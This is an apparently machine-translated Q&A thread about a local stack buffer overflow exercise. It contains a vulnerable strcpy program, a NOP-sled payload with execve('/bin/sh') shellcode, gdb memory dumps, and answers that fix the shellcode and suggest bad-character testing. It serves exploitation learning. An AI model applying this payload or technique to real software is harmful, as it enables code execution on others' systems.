web-dev-qa-db-ja.com

基本的なバッファオーバーフローの例でシェルコードを実行できない

バッファオーバーフローに対して脆弱なプログラムの基本的な例があります( この他の質問から抜粋 )。

#include <string.h>

void vuln(char *arg) {
    char buffer[500];
    strcpy(buffer, arg);
}  

int main( int argc, char** argv ) {
    vuln(argv[1]);
    return 0; 
}

私の「思考の流れ」について説明します。

バッファ長がわかっていることを考えると、最初のアプローチは、 "NOP"(477バイト)+ shellcode (23バイト)+ NOP +リターンアドレスで完全に埋めることでした。私のバッファの。

gdb-peda$ r $(python -c "print '\x90'*477+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*12+'\xfc\xce\xff\xff'")

これが現在のメモリです:

0xffffcef8: 0x00    0x00    0x00    0x00    0x90    0x90    0x90    0x90
0xffffcf00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf10: 0x90    0x90    0x90    0x90    0x00    0x90    0x90    0x90
0xffffcf18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
...
0xffffd0d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0d8: 0x00    0x31    0xc0    0x50    0x68    0x2f    0x2f    0x73
0xffffd0e0: 0x68    0x68    0x2f    0x62    0x69    0x6e    0x89    0xe3
0xffffd0e8: 0x50    0x53    0x89    0xe1    0xb0    0x0b    0xcd    0x80
0xffffd0f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffd0f8: 0x90    0x90    0x90    0x90    0xfc    0xce    0xff    0xff

1)最後の4バイトはEIPに書き込まれるアドレスであり、これで問題ありません。

2)私のシェルコードを適切に機能させるには、Wordの最初から開始する必要があります。 0xffffd0d8には、バッファオーバーフローによって上書きされない、削除できない0x00があります。これはバッファで数回発生しますが、私が読んだのはstrcpyのループ動作によるものです。

3)この状況では、「0x00」がシェルコードを破壊することなく、シェルコードを書き込むための別のスペースを見つける必要があると思います。

バッファ(0xffffcefc)の開始時にシェルコードの余地があるようですので、バッファを変更します

gdb-peda$ r $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*477+'\x90'*12+'\xfc\xce\xff\xff'")

シェルコードがメモリに正しく書き込まれていることを確認します。

gdb-peda$ x/10i 0xffffcefc
=> 0xffffcefc:  add    al,al
   0xffffcefe:  Push   eax
   0xffffceff:  Push   0x68732f2f
   0xffffcf04:  Push   0x6e69622f
   0xffffcf09:  mov    ebx,esp
   0xffffcf0b:  Push   eax
   0xffffcf0c:  Push   ebx
   0xffffcf0d:  mov    ecx,esp
   0xffffcf0f:  mov    al,0xb
   0xffffcf11:  int    0x80
gdb-peda$ 

しかし、コードを実行すると、shellcodeコマンドが実行されても、0xffffcf14の次の "0x00"バイトでクラッシュし、シェルは生成されません。

gdb-peda$ continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0xffffcf14 in ?? ()

gdb-peda$ x/10i 0xffffcf11
   0xffffcf11:  int    0x80
   0xffffcf13:  nop
=> 0xffffcf14:  add    BYTE PTR [eax-0x6f6f6f70],dl
   0xffffcf1a:  nop
   0xffffcf1b:  nop
   0xffffcf1c:  nop
   0xffffcf1d:  nop
   0xffffcf1e:  nop
   0xffffcf1f:  nop
   0xffffcf20:  nop

gdb-peda$ x/10xb 0xffffcf14
0xffffcf14: 0x00    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcf1c: 0x90    0x90
gdb-peda$ 

コードは以下を使用してコンパイルされています。

gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy

そしてもちろん、ASLRは無効になっています。

追加情報:

# uname -a 
Linux kali 4.9.0-kali4-AMD64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux

私は悪用の初心者ですが、これは簡単な練習だと思っていて、頭痛の種になっています...このバッファオーバーフローを悪用する正しい方法を理解するのを手伝ってくれる人はいますか?

2
Jausk

(Ubuntu 18.04仮想マシンで)再現できないnullバイト問題の他に、2つの問題が発生します。

  1. add al,al開始時の命令はxor eax,eax。奇妙なことに、シェルコードの先頭にあるバイト\ x31\xc0は実際にはxor eax,eax命令。\x31が何らかの形で\ x00に置き換えられている場合、別の場所で発生しているように、それがadd命令に変わります。

  2. execve システムコールの3番目の引数を設定していません。これは、0x00000000をスタックにプッシュした直後にedxレジスタをespに設定することで実行できます。

    xor    eax, eax
    Push   eax
    Push   0x68732f2f
    Push   0x6e69622f
    mov    ebx,esp
    Push   eax
    mov    edx,esp     ;set  the envp argument
    Push   ebx
    mov    ecx,esp
    mov    al,0xb
    int    0x80
    

Nullバイトの問題については、strcpyによって書き込まれた後の実際のバッファーにnullバイトがあるように聞こえるため、これは非常に奇妙です。 Assemblyでstrcpyを呼び出した直後にブレークポイントを設定し、バッファーメモリを調べます。すでにこれを実行した可能性がありますが、デバッガーを使用して、コピーが実行された後にnullバイトが何らかの形で忍び込んでいないことを確認してください。

1
Alex Schimp

あなたのシェルコードに問題があります:

上記を修正したら

これらの問題を修正しても問題が発生する場合は、説明からヌルバイトでクラッシュします(これは strcpy(3) が予期していることです)、そのため、悪い文字のケースのように聞こえます!

悪い文字をテストしてみます。 Peter Van Eeckhoutte はすでにこれをカバーしているすばらしい記事がありますが、私と同じように怠惰な場合は、ヌルバイト(0x00)をデバッガーバイトのブレーク(0xCC)に置き換えてください。

それが壊れたら、前の命令のすべてがシェルコードに対して期待どおりに実行された場合、別のnop(0x90)を追加するか、NULLバイトをRETNで置き換えることができます。

それが問題を引き起こす場合、割り込み(Int 0x80)は単一バイトであるため、JMP -2エンドレスループが中断するように、割り込みと最後のnullバイトを0xEBFEに置き換えることもできます。

0
grepNstepN